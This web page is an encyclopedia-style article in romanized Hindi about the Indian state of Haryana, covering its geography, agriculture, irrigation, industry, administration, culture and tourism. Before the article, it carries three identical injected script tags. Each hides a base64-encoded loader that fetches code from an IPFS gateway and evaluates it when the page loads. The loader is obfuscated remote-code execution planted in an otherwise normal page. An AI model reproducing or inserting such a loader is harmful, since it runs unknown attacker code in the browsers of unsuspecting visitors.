<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

hariyana ke adhikaansh kshetr mean shushk aur arddh shushk paristhitiyaan haian. keval purvotar mean tho di ardrata paeen jati hai. yadyapi rajy mean nahar sianchaee pranali aur b de paimane par nalakoop haian. isake bavajood yahaan kuchh atyadhik sookhagrast kshetr haian, khasakar dakshini aur dakshin-pashchimi hissoan mean, tathapi yamuna v ghagghar nadi ki sahayak nadiyoan mean kabhi-kabhi badh bhi jati hai. garmiyoan mean khub garmi p dati hai aur sardiyoan mean khoob sardi. garmiyoan mean (mee-joon) adhikatam tapaman 46 digri se. tak pahuanch jata hai. janavari mean kabhi-kabhi nyoonatam tapaman jamav biandu tak pahuanch jata hai. rajy ke hisar shahar mean sabase zyada garmi p dati hai.

poorvotar mean paha d ke talahati vale kshetr ko chho dakar poore rajy mean mitti gahari v urvar hai aur dakshin-pashchim mean rajasthan ke marusthal se sate simavarti kshetr mean zamin retili hai. rajy ke kul kshetr ke 4/5 bhag mean kheti hoti hai aur isamean se lagabhag tin-chauthaee kshetr sianchit hai. yadyapi rajy ke uttari, poorvi aur dakshin-poorvi bhagoan mean sianchaee nalakoopoan ke zariye hoti hai, vahian dakshin-pashchimi kshetr mean adhikaansh sianchaee nahar ke zariye hoti hai. rajy mean van kshetr nagany haian. rajamargoan ke kinare aur oosar zaminoan par yookaliptas ke pe d ugae ge haian. rajy ke uttari bhagoan mean s dak kinare amataur par shisham (dalabargiya sissoo) ke pe d pae jate haian, jabaki dakshin aur dakshin-pashchimi hariyana mean kikar (akeshiya arebika) ke pe d v jha diyaan amataur par milati haian.

krishi

krishi ki drishti se hariyana ek samriddh rajy hai aur yah keandriy bhandar (atirikt khadyann ki rashtriy sangrahan pranali) mean b di matra mean gehooan aur chaval deta hai. hariyana mean 65 pratishat se bhi adhik logoan ki jivika ka adhar krishi hai. rajy ke ghareloo utpadan mean 26.4 pratishat yogadan krishi ka hai. khadyann ki utpadan kshamata, jo ke rajy nirman ke samay 25.92 lakh tan thi. aj ka sakal krishi utpadan isase kahian adhik hai. mukhy fasaloan ka utpadan pahale se bahut badh gaya hai. left|hariyana ka manachitr|thumb chaval, gehooan, jvar, bajara, makka, jau, ganna, kapas, dalahan, tilahan aur aloo rajy ki mukhy fasalean haian. nakadi fasaloan mean ganna, kapas, tilahan aur sabjiyoan tatha phaloan ka utpadan adhik ho raha hai. soorajamukhi aur soyabin, mooangaphali, bagavani ko bhi vishesh roop se protsahit kiya ja raha hai. rajy mean kheti ko badhava dene ki koshishean ki ja rahi haian. mridu urvarata ko badhane ke lie dheancha aur mooang ke utpadan ko bhi protsahit kiya ja raha hai.

sianchaee

rajy mean sianchaee aur pey jal ke saman vitaran ke lie sarakar ne 354 karo d rupe ki lagat se 109 kilomitar lanbi vishal nahar 'bhakh da mukhy nahar-haansi shakha-butana shakha bahuddeshiy sanpark nahar’ ka nirman kiya hai. manasoon mean yamuna nadi ke atirikt pani ko kam mean lene ke lie 267 karo d rupe ki ‘dadoopur-shahabad-valvi nahar pariyojana’ shuroo ki hai. isamean yamuna nagar, aanbala aur kurukshetr mean p dane vali 92,532 hekteyar kshetr ki sianchaee aur bhoojal richarj suvidhaoan ke lie 590 kyoosek atirikt jal ka prayog kiya jaega. ghagghar aur isaki sahayogi nadiyoan par char kam ooanchaee ke baandh - kaushalya baandh, dangrana baandh, divanavala baandh aur chhamala baandh - yojanaoan par kary chal raha hai jin par kramash: - 118 karo d, 63.69 karo d, 132.70 karo d aur 20.41 karo d rupe ka kharcha aega. inase manasoon ke pani ka prayog badhega.

soochana praudyogiki

[[chitr:Star-Mall-Gurgaon.jpg|thumb|250px|star m aaul, gu dagaanv
Star Mall, Gurgaon]] vishv vaishvikaran mean soochana praudyogiki ke mahattv ko janate hue hariyana sarakar ne soochana praudyogiki ki vyapak aur vistrit niti banaee hai jisase rajy naye vikas ki or badhe. is yojana mean soochana praudyogiki ke aee.ti.ee.es. aur bi.pi.o. udyog ko protsahan diya ja raha hai. sarakar ki yojana taiknol aauji parko ko vikasit karane ki hai bhi jisamean taiknol aauji parko aur aee.ti. k aauridors ko sthapit kiya ja raha hai. is prayas ka uddeshy soochana praudyogiki ko naino praudyogiki, jaiv praudyogiki, mobail kanpyootiang aur robotiks se jo dana hai. isake atirikt gu dagaanv mean soochana praudyogiki aur aee.ti.ee.es. / bi.pi.o. bhi hoange jo vishvastariy suvidhaean pradan kareange. gu dagaanv ke atirikt, rajy sarakar ki kuandali-manesar-palaval eksapres haee ve aur pharidabad ke pas ke rashtriy rajadhani kshetr ke bhagoan ko vikasit karane ki yojanayean haian. ye gu dagaanv-manesar mega aee.ti. hab ke upagrah ka kam kareange. varsh 2007-08 mean rajy se 17,500 karo d rupaye ke s aauphtaveyar ka niryat kiya gaya.

sarakar ne poore rajy mean ‘ee-disha ekal seva keandr’ ke nam keandr’ ke nam se 1159 gramin aur 104 shahari 'seva keandr' ko sthapit kar rahi hai. gramin kshetroan mean shat pratishat aur shahari kshetroan mean 67 pratishat kary sampann ho chuka hai. is samay kanpyootar prashikshan, ee-tikatiang, mobail richarj, j aaub plesameant seva, iantaranet sarphiang, di.ti.pi. jaisi ‘bijanes tu sitijans’ (bi2si) sevaean in keandroan se di ja rahi hai. sarakar in seva keandroan se bas ke pas, bijali ke bil bharane, nakal (bhoomi rik aaurd) jari karane, anusoochit jati/pichh di jati ke praman patr, nivas praman patr, janm-mrityu ke praman patr dene ke lie aur ne rashan kard banane jaisi ‘gavarmeant tu sitijans’ (ji2si) sevaean pradan karane par bhi kary kar rahi hai. kanpyootar prashikshan karyakram ke aantargat 23,000 sarakari karmachariyoan ko kanpyootar mean prashikshit kiya ja chuka hai.

udyog

hariyan ka audyogik kshetr bahut hi vistrit aur vishal hai. rajy mean 1,343 b di aur 80,000 laghu udyog ikaiyaan karyarat haian. hariyana mean bahut si vastuoan ka utpadan hota hai. kar, traiktar, motarasaikil, saikil, rephrijaretar, vaijnanik upakaran adi anek prakar ke utpadakoan ka sabase b da utpadak rajy hariyana hai. vishv bazar mean basamati chaval ka sabase b da niryatak hariyana hai. pancharanga achar ke atirikt panipat mean hathakaraghe se bani vastuean aur kalin vishv bhar mean prasiddh hai aur inaka niryat b de star par kiya jata hai. [[chitr:Trident-Hotel-Gurgaon.jpg|thumb|250px|left|trideant hotal, gu dagaanv ]] julaee, 1991 se ab tak 3828 audyogik udyamiyoan se jnapan jama kie ge aur 2228 jnapan kriyaanvit kar die ge haian. in vijnapanoan mean 21,578 karo d rupaye ka nivesh kiya gaya aur 3,92,237 logoan ko rozagar mil gaya hai. navin audyogik nitiyoan ke parinamasvaroop 'vishesh arthik kshetr' (sej) sthapit karane ke 94 prastav rajy ko prapt hue haian jisake anusar audyogik dhaanche par 2 karo d rupaye ki lagat aegi. in pariyojanaoan ke kriyanvayan ke bad kee hazar karo d rupaye manesar ke vistar ke atirikt faridabad, rohatak aur jagadhari ko audyogik adarsh nagar ke roop mean vikasit kiya ja raha hai. panipat mean 33,000 karo d rupaye se 'paitro rasayan keandr' sthapit kiya gaya hai. 2,000 karo d rupaye laga kar kuandal-manesar-palaval eksapres rajamarg ka vikas ho raha hai. is rajamarg ke asapas anek arthik keandr banaye jayegean jisase audyogik aur seva kshetr mean nivesh ke avasar upalabdh hoange. bahaduragadh aur rohatak mean naye audyogik vikas tatha sonipat, kuandali, raee aur ba di mean udyogoan ka vikas karake arthik vikas ko badhaya ja raha hai. rajy sarakar aanbala, saha, yamunanagar, baraval, karanal, rohatak aur kaithal adi shaharoan ka audyogikaran karane ko prayasarat haian. yah bhi ullekhaniy hai ki rajy mean kuchh audyogik nivesh panjabi udyamiyoan ne kiya hai, jisaka manana hai ki panjab ke bajay hariyana mean nivesh karana adhik surakshit aur labhadayak hai (kyoanki dilli ke bazar se yah nazadik hai).

'hariyana rajy audyogik vikas nigam' aur 'hariyana nagar vikas pradhikaran' dvara vikasit audyogik kshetroan mean bhoomi abantan ki bahut maang hai. vartaman samay mean 94 b di tatha 5031 laghu audyogik ikaiyoan ki sthapana huee hai jin par 4124 karo d rupaye ka nivesh hua hai aur 92,559 logoan ko rozagar mila hai. isake atirikt anek audyogik ikaiyoan ka vistar karane se 35,000 karo d rupaye se adhik ka naya nivesh hua hai. 'bharatiy tel nigam' ne panipat mean 5,000 karo d rupaye ke nivesh se paireksilin/pitie ki sthapana ki hai. marooti udyog, hiro hoanda aur anek aautomobail udyogoan ka bahut vistar hua hai jin par lagabhag 10,000 karo d rupaye lagaye gaye haian.

prashasan evan samajik visheshataean

prashasan

bharatiy sanvidhan ke pravadhanoan ke anusar, rashtrapati dvara niyukt rajyapal rajy ka sanvaidhanik pramukh hota hai. apane karttavyoan ke nirvahan ke lie use mantriparishad se sahayata aur salah milati hai, jisaka pramukh mukhyamantri hota hai. mantriparishad vidhanasabha ke prati javabadeh hoti hai.

vidhanasabha ka chunav samanyatah paanch varsh ke karyakal ke lie hote haian. hariyana aur panjab ke lie ek uchch nyayalay hai. rajy 19 ziloan mean banta hua hai : aanbala, bhivani, faridabad, fatehabad , gu dagaanv, hisar, jhajjar, jiand, kaithal, karanal, kurukshetr, maheandragadh, panchakula, panipat, riva di, rohatak, sirasa sonipat aur yamuna nagar. panchayati raj (gramin svashasan) ka vistar sabhi gaanvoan tak ho chuka hai. [[chitr:Rock-Garden-Chandigarh.jpg|thumb|250px|r aauk gardan, chandigadh
Rock Garden, Chandigarh]]

shiksha evan jan-kalyan

panjab ki tarah hariyana mean bhi vidyalay aur mahavidyalay, donoan staroan par shiksha ko badhava dene mean sarakar ki bhoomika ke alava niji sansthanoan ne bhi ullekhaniy yogadan diya hai. rajy ke vikas karyakramoan mean shiksha ko uchch prathamikata di gee hai. kala evan vijnan mahavidyalayoan ki sankhya 1966-67 mean 40 se badhakar 1997-98 mean 140 ho gee, is avadhi mean uchch aur uchchatar madhyamik vidyaliyoan ki sankhya 597 se 3,517; madhyamik buniyadi pathashalaean 735 se 1,718 aur prathamikata buniyadi pathashalaoan ki sankhya 4,447 se 10,134 ho gee. vibhinn staroan ke ye sansthan rajy ke 6,759 gaanvoan aur 94 kasvoan mean sthit haian. inake alava hariyana mean ab char vishavidyalay hai : kurukshetr mean kurukshetr vishvavidyalay, rohatak mean maharshi dayanand vishvavidyalay, hisar mean guru janbheshvar vishvavidyalay aur vikhyat pashupalan vijnan mahavidyalay sahit hariyana krishi vishvavidyalay, isake alava, rajy mean deyari ke sabhi utpadoan ke vijas ke lie karanal mean rashtriy deyari shodh sansthan ki sthapana ki gee. shiksha ke vikas mean hariyana ka sthan bharat ke uttari rajy panjab, madhy aur kuchh pashchimi rajyoan mean keval panjab ke bad ata hai, lekin dakshini rajyoan se kafi pichhe rahata hai. 1991 tak sthapik vibhinn staroan ke sansthanoan ki sankhya ko dekhate hue shiksha karyakramoan se labhanvit ho rahi janasankhya ka pratishat kam hai. 2001 ki janaganana ke anusar, janasankhya ka 68.59 pratishat sakshar hai (rashtriy ausat 65.38 pratishat hai). pichhale dashak mean gramin kshetroan mean mahila saksharata ke mamale mean hariyana ne kafi lanba safar tay kiya hai (2001 mean 56.31 pratishak jabaki 1991 mean 32.5 pratishak). anusoochit jati ke vidyarthiyoan ki shiksha ke lie (samany tatha takaniki) sarakar dvara sabhi staroan par sahayata di jati hai. rajy mean vibhinn naukariyoan aur shiksha pathyakramoan mean anusoochit jati varg ke sadasyoan ko krishi, udyog, vyapar aur svarozagaraparak gatividhiyoan ke lie rrin v anudan bhi upalabdh karati hai. udaharan ke lie, 1997-98 mean is uddeshy se lagabhag 24 karod rupe kharch kie ge.

rajy mean zila aur upakhand aspataloan v prathamik svasthay keandroan ka sanjal hai aur 1966 ke bad se inaki sankhya mean kee guna vriddhi huee hai, kiantu inaki gunavatta apekshit star ki nahian hai. ullekhaniy hai ki 1992 se rajy se sabhi gaanvoan mean surakshit peyajal upalabdh karaya ja raha hai.

hariyana mean lagabhag 22,800 kimi lanbi pakki s dakean hai, rajy ke lagabhag sabhi gaanv pakki s dakoan se ek-doosare se ju de hue haian. sarakari svamitv vala hariyana rajy parivahan sthaniy aur aantarrajyiy yatri basean sanchalit karata hai. is pranali ke aantargat 1997-98 mean dainik yatriyoan ki sankhya 13,86,326 thi.

saanskritik jivan

hariyana ke saanskritik jivan mean rajy ki krishi arthavyavastha ke vibhinn avasaroan ki lay pratibianbit hoti hai aur isamean prachin bharat ki paranparaoan v lokakathaoan ka bhandar hai. hariyana ki ek vishisht boli hai aur usamean sthaniy muhavaroan ka prachalan hai. sthaniy lokagit aur nrity apane akarshak aandaz mean rajy ke saanskritik jivan ko pradarshit karatean haian. ye oj se bhare haian aur sthaniy sanskriti ki vinodapriyata se ju de haian. vasant rritu mean maujamasti se bhare holi ke tyohar mean log ek-doosare par gulal u dakar aur gila rang dalakar manate haian, isamean umr ya samajik haisiyat ka koee bhed nahian hota. bhagavan krishna ke janmadin, janmashtami ka hariyana mean vishisht dharmik mahattv hai, kyoanki kurukshetr hi vah ranabhoomi thi, jahaan krishna ne yoddha arjun ko bhagavadgita (mahabharat ka ek hissa) ka upadesh diya tha. [[chitr:Sukhna-Lake-Chandigarh.jpg|thumb|250px|left|sukhana jhil, chandigadh]] sooryagrahan par pavitr snan ke lie desh bhar se lakhoan shraddhalu kurukshetr ate haian. agroh (hisar ke nikat) aur pehova sahit rajy mean anek prachin tirthasthal haian. agroha agrasen ke roop mean jana jata hai, jo agraval samuday aur usaki upajatiyoan ke pramukh poorvaj ya pravartak mane jate haian. isalie agroha samooche agraval samuday ki janmabhoomi hai. bharat ke vyapari vargoan mean pramukh yah samuday ab desh mean phail gaya. agrasen ki janmabhoomi ke sammanasvaroop is samuday ne kuchh varsh pahale agroha mean ek chikitsa vidyalay ki sthapana ki. pavitr nadi sarasvati (vedoan ke anusar jnan aur kala ki devi) ke kinare sthit pehova ko poorvajoan ke shraddh piandadan ke lie ek mahattvapoorn pavitr sthan mana jata hai. aprakritik ya prakritik, donoan tarah ki atma ki shaanti ke lie pehova mean dharmik kriyaean ki jati haian. vibhinn devataoan aur santoan ki smriti mean ayojit hone vale mele hariyana ki sanskriti ka ek mahattvapoorn aang hai. anek sthanoan par pashu mele bhi ayojit kie jate haian. yah kshetr achchhe nasl ke dudharoo pashuoan, khasakar bhaiansoan aur kheti ke kam mean ane vale pashuoan aur sankarit pashuoan ke lie bhi jana jata hai.

hariyana ki haveliyaan (paranparik parivarik avas) vastushilp ki suandarata, khasakar unake dvaroan ki sanrachana, ke lie jani jati haian. in haveliyoan ke dvaroan ka abhikalpan aur hastakaushal hi vividh nahian, balki in parv vibhinn vishayoan ki shriankhala bhi vismayakari hai. ye haveliyaan hariyana ki galiyoan ko madhyayugin svaroop aur suandarata pradan karati hai. in bhavanoan mean anek chabootare hote haian, jo rihayashi, suraksha, dharmik aur adalati karyoan ke lie upayog mean lae jate haian. in bhavanoan se inake svamiyoan ki samajik sthiti ka sanket milata hai. in chabootaroan par ukeri huee kalakritiyaan is kshetr ki samriddh saanskritik virasat ki yad dilati hai.

bijali

hariyana rajy mean 1970 mean hi sabhi gaanvoan mean shat pratishat bijali pahuancha di gee thi. sanh 1966 mean rajy mean 20,000 nalakoop the jinaki sankhya march 2008 mean 4.51 lakh ho gee thi. 2007-08 mean bijali ki dainik ausat upalabdhata 723.10 karo d yoonit thi. 2007-08 mean bijali upabhoktaoan ki sankhya 42.70 lakh thi. 31 march, 2008 mean bijali ki sthapit utpadan kshamata 4368 megavat thi.

parivahan

• hariyana rajy ke sabhi gaanv pakki s dakoan se ju de hue haian. rajy mean s dakoan ki kul lanbaee 31,010 kilomitar hai.
• kalaka, kurukshetr, rohatak, jiand, hisar, aanbala, panipat aur jakhal hariyana rajy ke pramukh relave steshan haian. jagadhari shahar mean relave varkash aaup bhi hai.
• hariyana mean asainik havaee adde- hisar, karanal, pianjaur, naranaul aur bhivani mean hai.

paryatan sthal

hariyana dharmik aur aitihasik imaratoan ki drishti se samridhd hai. chahe mamala kurukshetr ki pavitr dharati par shrikrishna dvara arjun ko gita ka jnan dene ka ho, panipat ki tin mahattvapoorn l daiyoan ka ho ya phir firozashah tugalaq dvara apani premika goojari ke lie bih d bayaanban jangal mean hisare-phirojaan ka nirman kar usamean goojari mahal banavane ka ho. yahaan ke kan-kan mean itihas bolata hai. rajy mean rooral toorijm ko badhava ki ek aitihasik prishthabhoomi bhi hai. [[chitr:Chandigarh-Rock-Garden.jpg|thumb|250px|r aauk gardan, chandigadh]] hariyana mean 44 se zyada paryatan sthal haian. pramukh paryatan keandroan mean-

• bloo je (samalakha)
• skaeelark (panipat)
• chakravarti jhil aur oesis (uchana)
• parakit (pipali)
• kiangaphishar (aanbala)
• maigapaee (faridabad)
• dabachik (hodal)
• jangal babalar (dharoohe da)
• red bishap (panchakula bloo bard) (hisar)
• shama (gu dagaanv)
• gauraiya (bahaduragadh)
• pianjaur gardan (pianjaur)
• dilli ke pas soorajakuand aur b dakhal jhil
• sultanapur pakshi vihar (sultanupar, gu dagaanv)
• damadama (gu dagaanv)
• chi d van ke lie prasiddh morani paha diyaan paryatakoan ki ruchi ke kuchh any keandr haian.
• soorajakuand ke prasiddh shilp mele ka har sal faravari mean ayojan kiya jata hai.
• pianjaur utsav bhi prativarsh manaya jata hai.

janasankhya

varsh 2001 ki janaganana ke anusar hariyana rajy ki kul janasankhya 2,10,82,989; gramin 1,49,68,850; shahari 61,14,139 thi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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